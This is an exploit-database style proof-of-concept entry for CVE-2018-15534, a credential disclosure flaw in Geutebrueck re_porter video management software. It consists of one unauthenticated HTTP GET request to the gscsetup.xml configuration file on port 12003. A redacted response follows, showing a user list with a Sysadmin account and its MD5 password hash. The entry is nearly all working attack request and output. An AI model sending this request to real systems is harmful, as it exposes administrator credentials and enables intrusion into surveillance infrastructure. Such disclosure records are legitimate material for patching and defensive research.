Geutebrueck re_porter 7.8.974.20 - Credential Disclosure

# Exploit Title: Geutebrueck re_porter 7.8.974.20 - Credential Disclosure
# Date: 2018-08-03
# Exploit Author: Kamil Suska
# Vendor: https://www.geutebrueck.com/en_US.html
# Link: https://www.sourcesecurity.com/geutebruck-re-porter-16-technical-details.html
# Version: prior 7.8.974.20
# CVE-2018-15534

# PoC

GET /statistics/gscsetup.xml HTTP/1.1
Host: example.com:12003

# Result (Redacted):

<Node Name="UserList" NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
      <Node Name="0000" NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        <Value Name="Name" ValueType="ntWideString" Value="Sysadmin"/>
        <Value Name="Password" ValueType="ntString"
Value="##MD5passwordhash##"/>
        <Value Name="UserRights" ValueType="ntInt32" Value="0x00000001"/>
        <Node Name="SecondUserList"
NodeID="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx">
        </Node>